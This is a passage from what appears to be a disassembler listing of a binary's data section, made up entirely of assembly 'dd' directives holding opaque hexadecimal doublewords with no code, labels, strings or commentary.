		dd 806B7CF8h, 87507CFDh, 2491E030h, 0E56AA700h,	0B9FC7D5Eh
		dd 0D4503070h, 0BC48755Bh, 3DC48084h, 7C9DDBFFh, 3AB03C1Fh
		dd 7C352Eh, 0F44CE34Fh,	8E0195B2h, 9A0A69D1h, 2C338B62h
		dd 0C51EAB1h, 6797000Ah, 95DE9E4Eh, 474BB80Eh, 0F98FA841h
		dd 4822E7DDh, 6DDA5909h, 0C4556C30h, 8E7C4C08h,	43886470h
		dd 0F0C38D87h, 9FDCF5D5h, 0B1B9C810h, 42BDE301h, 39E990C7h
		dd 48201AECh, 14052474h, 41EAB0Dh, 0FD65EFACh, 94D700A0h
		dd 54E24766h, 0E414019Ah, 0DCB7FD8Fh, 9659BB8Eh, 2020DB49h
		dd 2DD3AD24h, 28801D2Eh, 5400FE2h, 5A887660h, 0B42415Bh
		dd 52219832h, 3FDB7423h, 344EF1AAh, 74E86514h, 7DB584FCh
		dd 8C4000A2h, 649416h, 0DB685204h, 69C00E97h, 1B59C566h
		dd 58CF0094h, 856B4B43h, 8124F09Dh, 7300EE4Fh, 46452671h
		dd 95E300FAh, 934B2C4h,	790E84DBh, 81BB2329h, 785D9FD0h
		dd 0F27FB60h, 5CE0D4E4h, 0B53E3100h, 14027D76h,	0F7D8CC9Ch
		dd 0C3E58E59h, 0B8924CB2h, 0D6EA38h, 3C7E34DCh,	5FF785BEh
		dd 0A9840C00h, 256F4BFh
		dd 87040138h, 0D806D31Bh, 3C0C3C71h, 6E840BB0h,	112C9DADh
		dd 5D6F8079h, 0EECA58h,	0EB05C316h, 77E0CDF4h, 0F894914Ch
		dd 33078C73h, 0D1378FF4h, 7C7520A0h, 8879F753h,	0FE007B3Eh
		dd 33903CB3h, 581E2830h, 0AF40090Bh, 480C6641h,	0EFC640E8h
		dd 5BB19060h, 7D82DFC4h, 0B4A909E0h, 7481F633h,	43B580D0h
		dd 7CB86F92h, 40B4650Dh, 2479465Eh, 7D00E0B7h, 4F71D3C0h
		dd 6A80281Ah, 0A72403B4h, 12229FE3h, 0AEC65CC0h, 48845D04h
		dd 28D1C9F4h, 0DD107E62h, 0E30CE81Ah, 40737C09h, 0A45852F7h
		dd 45306EF2h, 40DA00BCh, 3361512Ah, 0B11273DDh,	0F802FDA6h
		dd 375A80E7h, 0CC749600h, 8814E1B4h, 5D5FF947h,	907E1803h
		dd 0C78180CDh, 83B82607h, 0D21745Ch, 11878052h,	5E49563Bh
		dd 11D27C2Dh, 7810C7B0h, 0BD010907h, 69590EE1h,	0AECD41Ch
		dd 9C1951E8h, 3600B823h, 8E88A053h, 0DB144092h,	16C018ABh
		dd 0E87B9504h, 69799603h, 0F812108Ah, 34CB40F7h, 0ABC07988h
		dd 2C7D5342h, 0F901D18h, 69E425E5h, 0C008F985h,	0FB1541FAh
		dd 67D304E3h, 9490E01Dh, 9D90330h, 0A14C35E9h, 144F1773h
		dd 683A28C5h, 13007623h, 6680736Ch, 0A719C05Fh,	740A1ECFh
		dd 9E109100h, 137AEB3Ch, 928F0B81h, 2C10BDE4h, 400B41F1h
		dd 0C61158F9h, 0AAA90000h, 0E37C327Ah, 0E95DFACDh, 97DC81B8h
		dd 0C608759h, 88385C7Ah, 23F43A5Bh, 69560121h, 815A2C7Ah
		dd 5D7328CEh, 0E02D9B5Eh, 1A683662h, 0F044A08Bh, 0D361B100h
		dd 0D8870EA4h, 923712D5h, 607C887Ah, 5F980300h,	2F294D64h
		dd 6CE80435h, 0B00BD33Ah, 3901ACE0h, 652A924h, 0AC3136C9h
		dd 3B0CEFD9h, 0A3AE223Dh, 9011E9h, 7C226F87h, 60BC625Bh
		dd 0F6FA998Bh, 2900402Eh, 0DEC00F34h, 1ADA058h,	4A1D121Bh
		dd 20ABAE20h, 0F0964777h, 48753042h, 0BB67EBC4h, 7154A924h
		dd 0EE29180Dh, 0C0D62EB5h, 6C02BA54h, 6DEDD3D4h, 0EEE990C8h
		dd 2CB00454h, 330309E8h, 0E3E4C1B0h, 6DE82963h,	1895D188h
		dd 594A012Dh, 0B7A8C951h, 5B607D49h, 0F423EC80h, 338B00DDh
		dd 87E1734Eh, 93485598h, 10020124h, 807AF248h, 0C50B1C32h
		dd 8E47FD5h, 343B7BF1h,	0CB027923h, 5ADCD865h, 0F8AD00A4h
		dd 4C6DBCB7h, 172F4B5Fh, 37C010DEh, 670A0057h, 3C294415h
		dd 81044A45h, 493F48DDh, 0D604E4F8h, 0A868FE25h, 0C0470BEh
		dd 8101B598h, 0D41FF0ADh, 0D8E4A97Fh, 8651EAh, 0C8DB3F49h
		dd 398B9560h, 0C1E4B84Ch, 0FBDE0C0Fh, 0FCDD80DBh, 530D5C82h
		dd 56A41819h, 62DAC0E1h, 0FFD43409h, 1C2CB740h,	7A944015h
		dd 51998D2h, 5DA3D8C1h,	298F6066h, 8FA76B5Fh, 977CD0EAh
		dd 3E7B73BEh, 2B0D558h,	37E90AB7h, 426C71FEh, 730BFDBEh
		dd 8D5378A8h, 23641F98h, 38F4EF19h, 4F3800C0h, 90886C1h
		dd 0FF0128D0h, 0D164AADDh, 0D6D00EE9h, 4BD8AAC8h, 4048985Ch
		dd 29F0B19Eh, 0D99886CCh, 423F189Bh, 44CA4AE3h,	3234007Eh
		dd 29756CEBh, 360451A3h, 7E55C8BAh, 4E32CD1h, 8070226Fh
		dd 952F80FBh, 80229128h, 69F923D3h, 0B1BA095Ah,	507168F8h
		dd 2FB76E01h, 1028B485h, 0AC2235C3h, 0A07979DAh, 226DBD60h
		dd 0AB630082h, 2526A1BBh, 0D70BEFBCh, 45596E84h, 606EC42Ch
		dd 265BDF9h, 22379178h,	70565416h, 88B06D43h, 53EBD26h
		dd 0F66797E0h, 0E820BC77h, 4C0B8C90h, 95EC617h,	8EC59F1h
		dd 0EF8C4745h, 7CA819CCh, 372F0001h, 7089535Eh,	4A7DCF2Eh
		dd 905A6312h, 42C788B0h, 0C6661397h, 2E486491h,	258FAE4h
		dd 0C383165Ch, 40792B82h, 85107E1Ch, 72619F51h,	0C582FC44h
		dd 995C6C30h, 19287190h, 2DA6D0h, 8ECFEFE8h, 0FA898594h
		dd 0C5D80B95h, 6179C460h, 0E060319Ch, 0B6287DEDh, 18E77454h
		dd 2248983Fh, 0EB097444h, 0AAE80660h, 0FD76EC60h, 9903AD18h
		dd 7C5E8779h, 0E57119E4h, 0F40FC186h, 0E949CAEBh, 935810A4h
		dd 0CFCE512h, 75D025F0h, 0A6DCEA01h, 1E0B7FDh, 0E4EF6192h
		dd 6D985468h, 3E77A3Dh,	1DE8D6FFh, 4ECAD3BCh, 0B1748720h
		dd 2AC2197Ch, 98DE4C0Ah, 4B79508h, 88BDBC4Fh, 7D39B330h
		dd 8E0B0012h, 50683186h, 0F1133921h, 0F462B612h, 8B07FECh
		dd 6123C420h, 480C4087h, 4043A04h, 0B880FCD8h, 0C0C37008h
		dd 98886268h, 0A29559C0h, 0C1F1C19Ch, 9C207584h, 76FF0016h
		dd 0F8879218h, 28C090FBh, 24B90CF1h, 0F1D160DCh, 0CD11E4F9h
		dd 0D51D5300h, 7867EABCh, 491010Dh, 0D2811C23h,	9CA8A860h
		dd 90B28F44h, 35E92064h, 0B1802405h, 88FC54F1h,	68C76ECh
		dd 0D9825D33h, 9D019996h, 64AD318Dh, 21C48ACDh,	3BE6F0E1h
		dd 0F7070FF1h, 62E0D655h, 888922AFh, 0E5706CDBh, 9260F56h
		dd 3125CA6Ah, 6CA3C6h, 0F29625FFh, 753A13D2h, 98C613D4h
		dd 67280884h, 9009E38Bh, 0E407DC48h, 690C07Dh, 87FD30CEh
		dd 0E116609Ch, 0C5DE8E0h, 0A270482Ch, 4F7F7818h, 0A59F242Dh
		dd 0B0E94450h, 51008DACh, 32A5754Eh, 39281AC9h,	7B25B2E0h
		dd 2F9CACC0h, 9E79D8B9h, 35007518h, 0B04BF8DFh,	18F14AA0h
		dd 0F16131E5h, 6C99D25Eh, 2090C284h, 8D8F2D04h,	0E42B3AF4h
		dd 0B3007323h, 0B78AEE8Bh, 4F3409F3h, 54549113h, 84F6AF40h
		dd 44F093h, 2CBB7A6Bh, 46DC7E77h, 68C4B626h, 12A02340h
		dd 48140309h, 0CAC9DF15h, 117B2DD8h, 8A84E700h,	105E0A0Dh
		dd 0D4F45448h, 6F5CA747h, 84978ED1h, 38C1033Ch,	69008A44h
		dd 3F2DEC32h, 8FC1D76h,	67605278h, 6FE3A7BFh, 248ED90Ah
		dd 0FCEBDC84h, 8C7FB8A8h, 37BB2712h, 40A4FB17h,	0B71400F0h
		dd 0EF2363BDh, 0BE00D5F1h, 1EA926Ch, 22E0B4ADh,	0CB0086BCh
		dd 3097E1DDh, 1A99463h,	9872E53Ah, 0C078338Fh, 825ECB6Ah
		dd 0C1B8D882h, 3910FC1Ch, 2025C0FEh, 4728C010h,	681C21Dh
		dd 6466B748h, 7CDC9E4Dh, 8C92E276h, 8537B339h, 2E197422h
		dd 1A206F86h, 38766D30h, 11F6E466h, 0DFC93300h,	57A15A3Ah
		dd 0F15D00E9h, 3B355B38h, 184F31FDh, 225ACC0h, 89876F63h
		dd 9CFFF802h, 98F6D710h, 0E0CE0BA8h, 0F4918ADFh, 86000B4Fh
		dd 2AEB03F4h, 45017262h, 57DD2EBFh, 3708B520h, 265CC744h
		dd 8E14299Bh, 50698846h, 7F913C1Fh, 0D8ACA180h,	110FFACDh
		dd 0CC90326Fh, 0EA76B09Dh, 0DCC5442Ah, 8C430F12h, 7E0A4C42h
		dd 0E14CC308h, 426B917Fh, 5CC4E520h, 0D1EFECE5h, 0B6B37587h
		dd 7F276863h, 733C6C86h, 0AA3E00D8h, 9EF701A7h,	8D015BD3h
		dd 0D505FE46h, 0B2B367Fh, 0A8027834h, 0E3021E19h, 1D5C7A32h
		dd 9D817E25h, 1C48B8EAh, 0A7E9C030h, 0FB039E62h, 0DFB808C8h
		dd 0B2990119h, 7E27DE3Ah, 1B44D03Bh, 9D09860Bh,	68298A3Dh
		dd 5001A02Bh, 410637D6h, 4AB0483Ch, 0CB00DBB8h,	407782E3h
		dd 0B1363Ch, 0C7254D80h, 0F4277BD7h, 43E2C200h,	3416D3D4h
		dd 0BC9D9F69h, 0F4807891h, 0B6817CAAh, 32E04E90h, 7D2E4818h
		dd 184FB2F0h, 6003C41Ah, 0C04D07FAh, 405D2538h,	0B2B28148h
		dd 856610DCh, 0C6C3E47h, 18748A69h, 3B510B0Ch, 589439CEh
		dd 0FA800AE8h, 0ADC12D97h, 680C2CCAh, 89426D18h, 9692B810h
		dd 482744B3h, 0E465CC89h, 5809B84Ah, 5AFC346Ah,	71EC6B59h
		dd 924DFD25h, 79A07980h, 4DA1878h, 2EE3A6FAh, 34BD4A0Ch
		dd 3C4A1900h, 0D7B1C4h,	5B27CFD1h, 0CEF5DD64h, 1C7F7700h
		dd 794D582Fh, 20EA4AD4h, 0A140F00h, 0DEEC7841h,	5251C917h
		dd 9FE47465h, 0E32F1761h
		dd 330262E0h, 81F7980Ch, 30B8F98Dh, 0B26170DCh,	0FA39E55Dh
		dd 1880A47Fh, 1B890485h, 0E2EB08Ch, 0A739E119h,	737F420h
		dd 1A1FD380h, 5C844A9Eh, 1890BF66h, 0DD7ECAh, 1BEE5E1Fh
		dd 9D9A1A03h, 0F9704600h, 1D1082FFh, 2770067h, 0E8656DE3h
		dd 0CE00A772h, 70B938AAh, 77936D0h, 0D16EC05Fh,	1818CF26h
		dd 0C8055110h, 864B7868h, 6B0206Dh, 67A51D41h, 52B8E274h
		dd 3DEADD60h, 3AC2E42Ah, 0FCC61Ch, 0E76C37C1h, 0DF17232h
		dd 0A4B47B02h, 94E271FEh, 804A6120h, 46F035Bh, 0E251420h
		dd 14883735h, 0FF10C006h, 0E6009C28h, 24B127BEh, 5C7FC2h
		dd 0E11EA936h, 0DCE25022h, 81834ABh, 0D4C063A2h, 0C880AD86h
		dd 0E8F47CA0h, 0C500CE79h, 0D3E19615h, 4B361DB6h, 0C4DCE20Fh
		dd 0ED00617Eh, 868DF2E1h, 0C603BC00h, 0C6F6E81h, 0F0774CA2h
		dd 53A98303h, 0ED9BE602h, 0C5DF2911h, 11A79F11h, 0D028C217h
		dd 14FB5028h, 0BBA54468h, 14C11084h, 0AEB71191h, 21A3E511h
		dd 0B639040Fh, 0AD130492h, 44F10644h, 2844C353h, 51AF4CB8h
		dd 754C5C79h, 2D118F07h, 63B47137h, 0BCD40F5h, 43726F09h
		dd 8FD6713Ah, 0A0E711C8h, 2A94E9Ah, 2280002Ch, 4F726442h
		dd 0C30092EBh, 5C0A6B33h, 0B7E4CAh, 6026227Dh, 27178EBAh
		dd 821AEB3Ch, 83849B6Bh, 0AFDDC065h, 0A9100F0h,	50B669D8h
		dd 0C100611Dh, 0DC4AAB72h, 2329FDh, 670C1A32h, 5B5EB1DFh
		dd 0D1F0AC00h, 5436924Ah, 0EF72007Bh, 17761EC2h, 4D00875Ah
		dd 0B4836258h, 0F19A8B5h, 4C6F5710h, 0C05A1587h, 65B156C7h
		dd 0F8C3C000h, 7631093Ah, 117000A6h, 86A51CD2h,	0F7009B3Ch
		dd 0B63B4D1Bh, 34C6C7h,	27B7C5E2h, 8819D76Ah, 6A545230h
		dd 3E99CE6h, 7BDBF1C2h,	11F26DB6h, 6EB0805Dh, 0F2839B8Bh
		dd 48FB000Ah, 2F77AFADh, 0E00A30Dh, 56243DE0h, 9783659h
		dd 7B0B8CC6h, 64C3D281h, 0AAE0DC62h, 0C0188B14h, 0A8660090h
		dd 4FEFFE86h, 0BED0090h, 4AAF52D0h, 0C700079Ah,	0EE789CCAh
		dd 2060ABh, 2B83B8A8h, 0CC7529B6h, 8E0A34Ah, 218600CFh
		dd 78D994D6h, 9501A1C2h, 1C41A8BEh, 0CAD48460h,	0BF6A3FACh
		dd 0AE291D07h, 38B7700Bh, 8600C6E2h, 90DF164Dh,	604363F6h
		dd 3D547884h, 3C1F12ABh, 1ED3CCB7h, 0E23093ECh,	0F0D74930h
		dd 6C92B12Ch, 778BC680h, 0AA7B9Ch, 0BEF6B41Ah, 0D979767Ch
		dd 8E42D201h, 0F5387DCEh, 5C7BD1F0h, 3600A98Bh,	0EF772120h
		dd 4C007EE0h, 15C74BA4h, 79EE9C54h, 0EA017BC1h,	0EACA007Dh
		dd 2C1FD283h, 18C04B79h, 0A9E4ADE5h, 0C1FD00B9h, 0BA0C1535h
		dd 0E100063Eh, 0CFB088F9h, 13DCDFh, 16C604B4h, 0B13E7768h
		dd 67647300h, 0FD127A4Fh, 1E360763h, 2FF6A9D7h,	0FB72A840h
		dd 0DC008BEAh, 67632A93h, 1EA356DAh, 41F4B2h, 49F1BC39h
		dd 0D8288AAEh, 0F617B02Ch, 0C000B350h, 4A473C02h, 9D250077h
		dd 0F33AEE8Bh, 502EDC13h, 220FBA99h, 272B008Ah,	0A684ACh
		dd 0DCD9031Dh, 0DE73F074h, 6052E800h, 7A9F49F2h, 7E9C009Eh
		dd 6D91FB4Ah, 0FF1D2138h, 4F00F859h, 78EBEB3h, 39D2FE8Ah
		dd 81006180h, 0DF9CDC42h, 950F74CEh, 0E21EF52Eh, 0D0BD0D26h
		dd 96F00034h, 7D63FEFDh, 41E0BB49h, 4F69D700h, 0D34DABE3h
		dd 753B035Fh, 7AF4DC45h, 0BA072ED0h, 47A65E03h,	0E8B6368Ch
		dd 384F33CEh, 4CF6D7FFh, 78001450h, 4122311Fh, 0BE0067DDh
		dd 92BBFAFCh, 8015DBh, 3D450C19h, 0E3B11BA4h, 2BABEC04h
		dd 209C8BCAh, 24A33C5Fh, 5175BA81h, 20146EDAh, 293A4ED0h
		dd 0E171800Dh, 1363923Ch, 73F63856h, 0E113D00h,	7D9B3FCDh
		dd 8E50723Eh, 0F95DB3h,	651B857Ah, 0A920052h, 0E43F6FB9h
		dd 0F724D819h, 5B0B70BFh, 5DA4A04Eh, 3E4A3C76h,	0B705C9D4h
		dd 4FBCF767h, 0EFC0EA64h, 8E6F7A6Bh, 0F5CCC707h, 0A3E071FDh
		dd 3A9258Bh, 2DD077ABh,	7AA8C030h, 0E400C3E9h, 4253CB9Fh
		dd 0FFC6B4h, 861C4E6Bh,	1AEAF497h, 52364A02h, 43B08C40h
		dd 0C0FDCB28h, 39ED5796h, 2A0FD431h, 6B20339Ch,	0DDA9D279h
		dd 0A3219400h, 17E3348Ah, 4806F0A0h, 1B003480h,	0F787F9DEh
		dd 0EF543C08h, 0FA018FE0h, 0A58E9D4Ch, 3BC622h,	0F0AF15Ch
		dd 4A013D2Ch, 2E80CAB1h, 7AF0EF4Ch, 5B3A0097h, 619070B8h
		dd 0C70148AAh, 0C1833C1Bh, 17F803E0h, 50CB2CD9h, 69A8034h
		dd 59B7560h, 2EE93D0Fh,	0DF88E13Ch, 0A0F4C61Ah,	78A40E39h
		dd 0AF6079D6h, 33F16A05h, 45B0CB07h, 87F0408Dh,	6059FBC4h
		dd 949AB94Ch, 0F900AA79h, 0A124054Ah, 0A8EB43h,	0C3E6FD0h
		dd 226A51BEh, 5C03067Eh, 52660227h, 217C0739h, 0F1EC3765h
		dd 0C028AE04h, 0B3013BB8h, 0E74E589Bh, 0AAE0733Eh, 0B9DF01CBh
		dd 5E3A7DB1h, 57A4E4EDh, 0B3F99A1Dh, 425228C0h,	75F50746h
		dd 0AA830075h, 3FB8505Eh, 144C3627h, 0EE0F80BCh, 0CC6E5Ch
		dd 0FD6871CFh, 770723F0h, 0A4756F00h, 55D415D9h, 85F22A95h
		dd 0ED3101C0h, 8A797159h, 6FF3F072h, 80321338h,	4A73819Dh
		dd 38D02EF8h, 0BB870B9Eh, 0D03DFC5Bh, 0D718C321h, 0D8B1103h
		dd 0F052AA73h, 40351746h, 0DC78A998h, 0EA89CB00h, 0B057438Dh
		dd 8653120Ah, 0CD6000FAh, 0CE659597h, 8029843Eh, 62A6E030h
		dd 48EB767Bh, 0CF0244B2h, 0E4C0B043h, 875EFC60h, 28805Ch
		dd 0CC8A2A0h, 2C0EB4ADh, 3F4930h, 5B662DF0h, 311EAB1Eh
		dd 84034050h, 0E8C0862Ah, 0A2D201h, 99D6D7BBh, 6678F5C7h
		dd 4D7B4F00h, 0DB20FB38h, 115800B2h, 0B3C76CB0h, 1909783Fh
		dd 0DEA263h, 3B01FCA9h,	1DB500BFh, 46880934h, 409F306Ah
		dd 0DA6DA1h, 7BF9C39Dh,	8D118EA9h, 0ED710B00h, 5B73D862h
		dd 5A215816h, 941F0075h, 0E9A0B5F8h, 0D50B3401h, 0E1A05CBh
		dd 0CD9D01A8h, 0EF4A4BEh, 26910056h, 0C7B7D481h, 7A7E6C94h
		dd 614CFCE7h, 9563800h,	70C89001h, 0A323009Eh, 75807B98h
		dd 0E97F6C5Ah, 7EEBEE14h, 0B7A000A0h, 0C53D764Ch, 4BD3BE3h
		dd 689EE081h, 0D4ADAC90h, 0CA0778ECh, 4AC45F16h, 0BBE532C1h
		dd 1FBC3CE4h, 0D5790Dh,	18AD1F74h, 0CF7DA5C8h, 33D70C00h
		dd 0E2C2ABAEh, 0CE8201D3h, 0A1470D9Ah, 5AB8CB07h, 2AFEB5D4h
		dd 804DB30Fh, 506E4152h, 0E8DF0DA2h, 0B8C49091h, 0A3290037h
		dd 38751594h, 0C00EEC2h, 9B91BF3Eh, 652232h, 2EFEDF5Fh
		dd 9D93F65Dh, 4DB28D00h, 0B4743592h, 305916FAh,	0FA06FFAEh
		dd 7217362h, 0F7630544h, 508120B9h, 0D500B810h,	0D8D2286h
		dd 0E83A82C4h, 58802D8Fh, 0EC36000h, 0E700C7D3h, 388DE0D4h
		dd 0E806E1h, 9971C194h,	0D132A328h, 0E534A200h,	36A0FBA4h
		dd 92420049h, 29EBCEF5h, 89007E9Dh, 0BD5A1EB7h,	39FC463Bh
		dd 709859h, 8206A997h, 0CF04F688h, 0BC0AEC00h, 0D73F60CAh
		dd 2B5D031Dh, 0C9CD74BAh, 0B842BBC0h, 4FD6BAC0h, 3B3FA1CBh
		dd 0A880477Bh, 22A0D18Fh, 0D011368h, 9CD77802h,	80F82DA5h
		dd 60930038h, 4EDEFDB6h, 2303C32Ah, 62B18F99h, 0F0A4D878h
		dd 7B07A02h, 0FE2EA779h, 0F41A50BDh, 52F0F63Dh,	0A6454D01h
		dd 0D7E6873h, 2CD8C6CDh, 0FAF900BCh, 40CA2D38h,	63008548h
		dd 3F47D854h, 39AEE6Bh,	65A429B3h, 0EF8F840Ch, 0D1512163h
		dd 388F8F5h, 6D9CAEA5h,	0B18CCB40h, 0D43422B4h,	66A30761h
		dd 0D07B4CFFh, 0FAE4CEB5h, 0F289F07h, 873294C0h, 730580Bh
		dd 0C6E167B8h, 9A61E272h, 3AE53C60h, 1C80183Bh,	0EF40AF70h
		dd 0CD638C85h, 0AEF84Dh
		dd 0FCC3E4C9h, 361D3D2Bh, 1A3D3AB8h, 0B50980A1h, 0C82FB1F9h
		dd 61B6004Fh, 0F8071C8Fh, 6F782759h, 0E7D2D600h, 129A5A17h
		dd 865E0765h, 0D5752995h, 613CB00Ah, 8802214Ah,	6083E5A3h
		dd 737B064h, 0DB12F3C3h, 184180C7h, 0E600DD0Dh,	6B63794Ch
		dd 1D55CF6Ah, 0C048C98Bh, 4AD0D51Bh, 30C0686Ch,	0EC086201h
		dd 67BA0097h, 6DB5D707h, 0E0958C92h, 3B805044h,	5C897E9Bh
		dd 0B080F9F8h, 3EDFF17Ch, 0C5171800h, 3964D46Ch, 5E90009Ah
		dd 0F49D9427h, 58004D65h, 0C19319BCh, 317B9BD9h, 9C40F818h
		dd 48A32091h, 20BBE000h, 342DD483h, 0F423E8AFh,	0DF261ECEh
		dd 52EC690h, 43006019h,	9304B930h, 0E603F6h, 0E31E8CE0h
		dd 7CAC020h, 10C4CFEEh,	0FC806CBCh, 5B1ACABh, 6543C5A2h
		dd 81ACC08Dh, 120F2645h, 6F4E1D7Dh, 9713C0DDh, 92E09BCh
		dd 75814DDFh, 38956880h, 0FF0059C7h, 0ABC6F182h, 3688E4h
		dd 9B6ABEF5h, 0A4312FC2h, 0DE72FEF6h, 0AB131400h, 0CD4D3FA8h
		dd 0C64503CAh, 0F7ACCE9Ch, 7BB00EC8h, 7015E80Eh, 38FD0087h
		dd 73F410CFh, 4A59741Eh, 506CC061h, 0DE036AB3h,	0A0A89CC0h
		dd 0C937E85Dh, 8C081C35h, 0C3FE402Ch, 0D87D2A55h, 70085E4h
		dd 59BDDA67h, 79BADA8h,	92EE3FBEh, 38B7C0C4h, 5C000644h
		dd 110458CAh, 0DD4124h,	0B38BF895h, 0E3A1BCF1h,	92263101h
		dd 2E6473D2h, 0B85E7A70h, 0B6D30086h, 0E8E5171Eh, 8B008DBFh
		dd 9F2073DFh, 755844Bh,	0E4BB68C4h, 0E8BF3012h,	0C6006D9Bh
		dd 9E7B7163h, 0A01B5276h, 28DEE4BCh, 0E081CFA7h, 3FEE63Dh
		dd 485F3F8Dh, 4F8AD5B4h, 8CFAB858h, 3ED61000h, 69E6F598h
		dd 0C1E82C2Ch, 75C70528h, 4B8F8099h, 523EB1D4h,	7FE400C2h
		dd 0BD6C01A9h, 49690094h, 4333A77Ah, 9F00EB1Bh,	0B0423A84h
		dd 0A2A14Bh, 2A9B59F5h,	65DE25C7h, 0AC990B00h, 30D6CA9Ch
		dd 6C881211h, 7CAB008Ch, 0DD82FEAAh, 9CD43200h,	4C3079DCh
		dd 781B0028h, 37E1FDEFh, 58903F4Eh, 0C1190A07h,	7A50A303h
		dd 0FB731D4h, 231863BAh, 80259060h, 0D81EE3D3h,	778040E8h
		dd 5C56DE3Ah, 0B48348ECh, 3BD4FF24h, 7710312h, 0B0ED4466h
		dd 7A518674h, 87B4A816h, 50BE4F00h, 0B979901h, 0DDDC2C4h
		dd 478CE400h, 0F203B9CEh, 0C6AAB02Fh, 0FBDBA8A9h, 455C0059h
		dd 0FA728B6Ch, 0D900D31Ch, 8CAC38C2h, 2E131A4Eh, 809CD216h
		dd 0B9A112A6h, 0B8092D6Dh, 0E821D338h, 16241A8Ch, 4CA634h
		dd 0A4AE9BEh, 0D4009AB5h, 0CE4F4B72h, 0A03B35ECh, 3C215FCh
		dd 73097A77h, 39D03A66h, 589868D8h, 63F11600h, 0CCE0909Dh
		dd 4EBAB04Eh, 0EA8A4h, 6B27C4D7h, 0A5296Dh, 17AE2434h
		dd 493288CCh, 0E60371E2h, 62FE799Dh, 73A2D8C6h,	75410747h
		dd 20D8633Fh, 52C73003h, 0B426EE00h, 0F8B3CAFEh, 2B7F0056h
		dd 8484C0Dh, 9A00D87Eh,	8B2334CBh, 0C7F0AAh, 61E04696h
		dd 12AB9B66h, 9CCE763Bh, 0A82CE436h, 57D08F00h,	93EC4Ch
		dd 655917FEh, 3021028Bh, 800BA53Dh, 7D07B989h, 24665B1Eh
		dd 68FB0Fh, 57F26AF8h, 51002FE9h, 3F59C6B3h, 124002C1h
		dd 346414h, 15722A93h, 50388580h, 0A86389EEh, 0A6C42061h
		dd 23AF647h, 25AF0FCCh,	0E8400C4Ch, 0C900EC60h,	679D2624h
		dd 1AC24Dh, 0AF1462A2h,	0A9B50663h, 0CF00F47Ch,	5D79B666h
		dd 8D4B8h, 0A7765BE1h, 2EB0C504h, 68128000h, 6DBDCD2Dh
		dd 0C6D60743h, 59B12544h, 304B864h, 9B1AE2EDh, 470044ACh
		dd 1D108E0Dh, 0CA00AD5Eh, 0CD6A7134h, 7CA6B623h, 967D1E8Bh
		dd 0A94B40B2h, 60BA9E02h, 0FE0052B0h, 83ADD777h, 1649E3A7h
		dd 94E20Eh, 0C4AAF783h,	500EC9Bh, 12A76DDFh, 0B4DE10h
		dd 925E043h, 0F73EFD7Ch, 31BFE900h, 38D4813Dh, 465E1D5Dh
		dd 2829419Bh, 304F5884h, 3920B7BCh, 0DC860035h,	62CBE74Dh
		dd 4B25ED4Ch, 0A87860AAh, 7F5289Bh, 634102E8h, 31AF093Bh
		dd 54104340h, 28A0B00h,	0B023DCFDh, 86C009D5h, 0B4A2B39Fh
		dd 30E38D44h, 0F6E6EBD0h, 9C1AC40Ah, 301DD038h,	0A0203952h
		dd 9D20D87h, 125932A8h,	0A4648400h, 7D1FA182h, 6F0E2B67h
		dd 0ACD180BCh, 2CF5C149h, 0D01DFCh, 4F594C69h, 4802432Dh
		dd 6062E6D9h, 29060DAh,	88BF599Ah, 0ABE9EC00h, 7AD4384Ah
		dd 0F4905C00h, 9371A4ACh, 0BA502E95h, 0CFAB00E2h, 0F645C7DEh
		dd 48A36400h, 9272E79h,	0F5F406h, 2259BCCEh, 0E9B6788h
		dd 0D496D2F4h, 0BD037500h, 0A67C46h, 0C286DC38h, 53855AFCh
		dd 4D0F9E00h, 30F18DFFh, 0D5810324h, 642D65B3h,	0EC16F998h
		dd 0C801C5E4h, 6CDF768h, 0C06A708Ch, 4BE9EBD0h,	0AC6F8F00h
		dd 11DB3179h, 0FAD0001Eh, 51414999h, 0D92E0A5Bh, 170F49ECh
		dd 814E6368h, 120DD1BBh, 15D2B8F7h, 0B6E402B1h,	0E16424B7h
		dd 71607C60h, 288B082Ch, 6AE2A202h, 5E7468CAh, 7D211F44h
		dd 727EC341h, 18CE4AC2h, 0D4022F4Fh, 40F8AF13h,	644C93h
		dd 9A27E58Ah, 5C5A38C0h, 9706A301h, 0A9F9D5D6h,	706E3080h
		dd 8C86E2CCh, 0FEB6690Fh, 3A8AC0DFh, 3AFADh, 5DE4E997h
		dd 0D4520E62h, 98274705h, 88A04D7Eh, 146F0B10h,	900EBF5Ch
		dd 5B3AEBE0h, 0D84A03ECh, 0C500D2F8h, 0EFDAD963h, 0CD0014FCh
		dd 8DCF0C0Dh, 4591B7h, 62CC5873h, 791E9A53h, 6E6F7D0Ah
		dd 6B0087E2h, 573A638Bh, 8AE60108h, 3355BAC4h, 0F728801Fh
		dd 0A7D3A2F6h, 0FF8E0078h, 727F8C22h, 3C00BAAFh, 0F31136D7h
		dd 0EA4EE28h, 50D0F419h, 4C5514A3h, 74002F93h, 2375FE59h
		dd 26DA6DDh, 0A5A10921h, 4563E01h, 0FEE0D880h, 70BC13h
		dd 780FB172h, 0A3573D5Dh, 8D00DCE2h, 21890B58h,	7387EFh
		dd 0ED1D4F8h, 9B3FCEA8h, 503A1000h, 1D2EABEBh, 987513B2h
		dd 8168A0DEh, 0A579E90Ch, 0F0D11121h, 2767F8C7h, 7C48D544h
		dd 0C9010F47h, 5170BE95h, 0B4D1767Ch, 24FFD8h, 0B94F192Dh
		dd 0D10EC6E9h, 600230C0h, 0CBEACCh, 5FC7840Ah, 0DFF44C80h
		dd 0AAA48300h, 0AC1D0659h, 790C045Eh, 0BA117D36h, 0C6B5C841h
		dd 0D1F07718h, 0E3FE576h, 0B020DE0Ch, 8EF3FE02h, 42809006h
		dd 5C04F23h, 44648560h,	0C45848D6h, 0C78A610h, 964D7131h
		dd 7300BCA0h, 7C6E81CBh, 252D5A02h, 245820D0h, 0A5884102h
		dd 60ED6604h, 0D1211Ch,	4DD55A0Bh, 4C9B2616h, 234B0D00h
		dd 8C793DA2h, 0D6F000F2h, 7E3F5029h, 5338AD7Ch,	0CB4C52h
		dd 570595F8h, 8202C2h, 39BB7441h, 7DC4D9B6h, 5DC0C79Dh
		dd 80A6960h, 92924EBAh,	872FB198h, 0D1CBAF48h, 610E8040h
		dd 9905DE77h, 0E425F9BCh, 2F410070h, 0F13BD18Ch, 6509666Eh
		dd 807BF890h, 1182BA30h, 237904C8h, 0AE559826h,	0EEB0EC45h
		dd 0A03850ECh, 0BC818309h, 0CE03C476h, 682E130h, 98060D29h
		dd 0F3C11EDh, 7F7D1C7Ch, 75900C03h, 0EF1825E4h,	0E31D74FAh
